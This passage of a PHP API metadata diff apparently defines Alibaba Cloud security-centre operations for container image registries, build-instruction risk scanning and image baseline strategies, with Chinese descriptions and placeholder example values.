.'>调用[PageImageRegistry](~~PageImageRegistry~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '25363', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'ImageRegistryExtraInfos' => [ + 'description' => '镜像仓额外配置信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RegistryId' => [ + 'description' => '镜像仓ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '25363', + ], + 'AuthToken' => [ + 'description' => '授权Token。', + 'type' => 'string', + 'example' => '64ad8ddf-6a4c-46b5-8dea-b105a06bd534', + ], + 'AliUid' => [ + 'description' => '阿里云账号ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '176618589410****', + ], + 'RegistryType' => [ + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'example' => 'harbor', + ], + 'Namespace' => [ + 'description' => '镜像的命名空间。', + 'type' => 'string', + 'example' => 'public-goods', + ], + 'Id' => [ + 'description' => '配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '113441', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"ImageRegistryExtraInfos\\": [\\n {\\n \\"RegistryId\\": 25363,\\n \\"AuthToken\\": \\"64ad8ddf-6a4c-46b5-8dea-b105a06bd534\\",\\n \\"AliUid\\": 0,\\n \\"RegistryType\\": \\"harbor\\",\\n \\"Namespace\\": \\"public-goods\\",\\n \\"Id\\": 113441\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像仓额外配置信息', + ], + 'RefreshRegistryToken' => [ + 'summary' => '刷新镜像token。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92430', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegistryId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓ID。'."\n" + .'>调用[PageImageRegistry](~~PageImageRegistry~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回token结果。', + 'type' => 'string', + 'example' => '77ba3bf5-af95-4b77-aa94-***********', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"77ba3bf5-af95-4b77-aa94-***********\\",\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '刷新镜像token', + ], + 'SetBuildRiskDefineRuleConfig' => [ + 'summary' => '修改镜像构建指令风险扫描配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '234943', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像构建指令风险扫描配置风险项。取值：'."\n" + .'- **classKey**：取RuleTree的ClassKey字段值'."\n" + .'- **ruleList**：取RuleList下的RuleKey字段值'."\n" + .'> 调用[GetBuildRiskDefineRuleConfig](~~GetBuildRiskDefineRuleConfig~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '['."\n" + .' {'."\n" + .' "classKey": "other",'."\n" + .' "ruleList": ['."\n" + .' "add",'."\n" + .' "apk"'."\n" + .' ]'."\n" + .' }'."\n" + .']', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '镜像构建指令风险扫描配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'BA674E4B-00CF-5DEA-8B92-360862FB5133', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 1\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"BA674E4B-00CF-5DEA-8B92-360862FB5133\\"\\n}","type":"json"}]', + 'title' => '修改镜像构建指令风险扫描配置', + ], + 'GetBuildRiskDefineRuleConfig' => [ + 'summary' => '查询镜像构建指令风险扫描配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '234935', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '镜像构建指令风险扫描配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '273698***', + ], + 'RuleCount' => [ + 'description' => '检查项总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'SelectedCount' => [ + 'description' => '已选择的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '99', + ], + 'RuleTree' => [ + 'description' => '检查项选择集合。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项类别。', + 'type' => 'object', + 'properties' => [ + 'ClassKey' => [ + 'description' => '检查项分类。', + 'type' => 'string', + 'example' => 'other', + ], + 'ClassName' => [ + 'description' => '检查项分类名称。', + 'type' => 'string', + 'example' => 'other', + ], + 'RuleList' => [ + 'description' => '检查项集合。', + 'type' => 'array', + 'items' => [ + 'description' => '单个检查项。', + 'type' => 'object', + 'properties' => [ + 'RuleKey' => [ + 'description' => '检查项。', + 'type' => 'string', + 'example' => 'add', + ], + 'RuleName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'used ADD', + ], + 'Selected' => [ + 'description' => '是否勾选。取值：'."\n" + .'- **true**：已选'."\n" + .'- **false**：未选', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功'."\n" + .'- **false**：接口调用失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '69BFFCDE-37D6-5A49-A8BC-BB03AC83****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'Service error, please try again later.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 0,\\n \\"RuleCount\\": 100,\\n \\"SelectedCount\\": 99,\\n \\"RuleTree\\": [\\n {\\n \\"ClassKey\\": \\"other\\",\\n \\"ClassName\\": \\"other\\",\\n \\"RuleList\\": [\\n {\\n \\"RuleKey\\": \\"add\\",\\n \\"RuleName\\": \\"used ADD\\",\\n \\"Selected\\": true\\n }\\n ]\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"69BFFCDE-37D6-5A49-A8BC-BB03AC83****\\"\\n}","type":"json"}]', + 'title' => '查询镜像构建指令风险扫描配置', + ], + 'ListPrivateRegistryType' => [ + 'summary' => '查询各个类型镜像仓的数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回的查询结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', + ], + 'RegistryTypeInfos' => [ + 'description' => '镜像仓类型信息。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓类型信息。', + 'type' => 'object', + 'properties' => [ + 'RegistryType' => [ + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'example' => 'harbor', + ], + 'Count' => [ + 'description' => '镜像仓的数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"RegistryTypeInfos\\": [\\n {\\n \\"RegistryType\\": \\"harbor\\",\\n \\"Count\\": 2\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询各个类型镜像仓的数量', + ], + 'ListPrivateRegistryList' => [ + 'summary' => '查询镜像仓的列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RegistryType', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓类型。取值：'."\n" + ."\n" + .'- **acr**：ACR'."\n" + .'- **harbor**：Harbor'."\n" + .'- **quay**：Quay'."\n" + .'- **CI/CD**：Jenkins', + 'type' => 'string', + 'required' => false, + 'example' => 'harbor', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '镜像仓列表信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', + ], + 'ImageRegistryInfos' => [ + 'description' => '镜像仓列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓列表信息。', + 'type' => 'object', + 'properties' => [ + 'VpcId' => [ + 'description' => 'VPC实例的ID。', + 'type' => 'string', + 'example' => 'vpc-bp12897gqrex01zn0****', + ], + 'Token' => [ + 'description' => '用户鉴权令牌。', + 'type' => 'string', + 'example' => '0da12bce-cc36-4c48-b3e6-2215fc3a****', + ], + 'WhiteList' => [ + 'description' => '网络IP白名单。', + 'type' => 'string', + 'example' => '100.104.XXX.XXX', + ], + 'AliUid' => [ + 'description' => '用户的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1766185894******', + ], + 'RegistryType' => [ + 'description' => '镜像仓库的类型。取值：'."\n" + .'- **acr**：acr。'."\n" + .'- **harbor**：harbor。'."\n" + .'- **quay**：quay。'."\n" + .'- **CI/CD**：CICD仓类型。', + 'type' => 'string', + 'example' => 'harbor', + ], + 'DomainName' => [ + 'description' => '仓库域名。', + 'type' => 'string', + 'example' => 'example.com', + ], + 'RegionId' => [ + 'description' => '服务器地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Password' => [ + 'description' => '镜像仓密码。', + 'type' => 'string', + 'example' => 'Harbor******', + ], + 'NetType' => [ + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'RegistryVersion' => [ + 'description' => '镜像仓版本。取值：'."\n" + ."\n\n" + .'- **V1**：1.0版本'."\n" + .'- **V2**：2.0版本', + 'type' => 'string', + 'example' => 'V1', + ], + 'ProtocolType' => [ + 'description' => '协议类型。取值：'."\n" + .'- **1**：http'."\n" + .'- **2**：https', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'RegistryHostIp' => [ + 'description' => '镜像仓IP地址。', + 'type' => 'string', + 'example' => '114.55.XXX.XXX', + ], + 'UserName' => [ + 'description' => '镜像仓用户名。', + 'type' => 'string', + 'example' => 'RegistryUser', + ], + 'Id' => [ + 'description' => '镜像仓唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '66485', + ], + 'RegistryName' => [ + 'description' => '镜像仓别名。', + 'type' => 'string', + 'example' => 'test1', + ], + 'PersistenceDay' => [ + 'description' => '资产保存天数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '90', + ], + 'JenkinsEnv' => [ + 'description' => 'Jenkins环境信息。', + 'type' => 'string', + 'example' => 'JenkinsInfo', + ], + 'TransPerHour' => [ + 'description' => '每小时扫描任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"ImageRegistryInfos\\": [\\n {\\n \\"VpcId\\": \\"vpc-bp12897gqrex01zn0****\\",\\n \\"Token\\": \\"0da12bce-cc36-4c48-b3e6-2215fc3a****\\",\\n \\"WhiteList\\": \\"100.104.XXX.XXX\\",\\n \\"AliUid\\": 0,\\n \\"RegistryType\\": \\"harbor\\",\\n \\"DomainName\\": \\"example.com\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Password\\": \\"Harbor******\\",\\n \\"NetType\\": 1,\\n \\"RegistryVersion\\": \\"V1\\",\\n \\"ProtocolType\\": 1,\\n \\"RegistryHostIp\\": \\"114.55.XXX.XXX\\",\\n \\"UserName\\": \\"RegistryUser\\",\\n \\"Id\\": 66485,\\n \\"RegistryName\\": \\"test1\\",\\n \\"PersistenceDay\\": 90,\\n \\"JenkinsEnv\\": \\"JenkinsInfo\\",\\n \\"TransPerHour\\": 30\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像仓列表', + ], + 'DescribeCountNotScannedImage' => [ + 'summary' => '查询未扫描的镜像数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'NotScannedCnt' => [ + 'description' => '未扫描镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '28', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NotScannedCnt\\": 28,\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","type":"json"}]', + 'title' => '查询未扫描的镜像数量', + ], + 'GetImageScanNumInPeriod' => [ + 'summary' => '统计若干天内镜像扫描次数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'PastDay', + 'in' => 'query', + 'schema' => [ + 'description' => '需要查询的天数。', + 'type' => 'string', + 'required' => true, + 'example' => '7', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', + ], + 'ImageScanData' => [ + 'description' => '扫描数据信息。', + 'type' => 'object', + 'properties' => [ + 'ImageScanCount' => [ + 'description' => '镜像扫描次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '150', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\",\\n \\"ImageScanData\\": {\\n \\"ImageScanCount\\": 150\\n }\\n}","type":"json"}]', + 'title' => '统计镜像扫描次数', + ], + 'SetRegistryScanDayNum' => [ + 'summary' => '设置仓库扫描天数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'ScanDayNum', + 'in' => 'query', + 'schema' => [ + 'description' => '设置镜像扫描范围天数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '48483161-F328-5A12-AB78-3EB81F37****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"48483161-F328-5A12-AB78-3EB81F37****\\"\\n}","type":"json"}]', + 'title' => '设置仓库扫描天数', + ], + 'SaveImageBaselineStrategy' => [ + 'summary' => '保存镜像基线策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '92434', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BaselineItemList', + 'in' => 'query', + 'schema' => [ + 'description' => '基线子项列表。'."\n" + .'>调用[DescribeImageBaselineStrategy](~~DescribeImageBaselineStrategy~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'ak_leak', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查策略ID。'."\n" + .'>调用[DescribeImageBaselineStrategy](~~DescribeImageBaselineStrategy~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8639', + ], + ], + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查策略的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源，为空时默认查询镜像基线策略。取值：'."\n" + .'- **default**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '9AB5D3DE-6E0F-5633-AA71-4B90C724****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9AB5D3DE-6E0F-5633-AA71-4B90C724****\\"\\n}","type":"json"}]', + 'title' => '保存镜像基线策略', + ], + 'OperateImageBaselineWhitelist' => [ + 'summary' => '操作镜像基线检查项白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'BaselineItemKeyList', + 'in' => 'query', + 'schema' => [ + 'description' => '基线子项key的列表。', + 'type' => 'string', + 'required' => true, + 'example' => 'hc.image.checklist.identify.hc_exploit_es_linux.item', + ], + ], + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **add**：增加。'."\n" + .'- **del**：删除。', + 'type' => 'string', + 'required' => true, + 'example' => 'add', + ], + ], + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'a5250ebca765dc9eb1a84b790b0e****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '75AD186B-B46A-56CC-BE35-987ADDF6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"75AD186B-B46A-56CC-BE35-987ADDF6****\\"\\n}","type":"json"}]', + 'title' => '操作镜像基线白名单', + ], + 'DescribeImageBaselineStrategy' => [ + 'summary' => '查询镜像基线策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检测策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8037', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源，为空时默认查询镜像基线策略。取值：'."\n" + .'- **default**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '9F85AC10-A1FE-54D7-935A-F28D5256****', + ], + 'Strategy' => [ + 'description' => '基线检查策略信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '基线检查策略类型。取值：'."\n" + ."\n" + .'- **default**：默认策略'."\n" + .'- **full**：全基线项策略'."\n" + .'- **normal**：常规基线项策略', + 'type' => 'string', + 'example' => 'default', + ], + 'StrategyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'default', + ], + 'StrategyId' => [ + 'description' => '基线检查策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8257', + ], + 'SelectedItemCount' => [ + 'description' => '选择的基线检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalItemCount' => [ + 'description' => '基线检查项总数', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'BaselineItemList' => [ + 'description' => '基线项列表。', + 'type' => 'array', 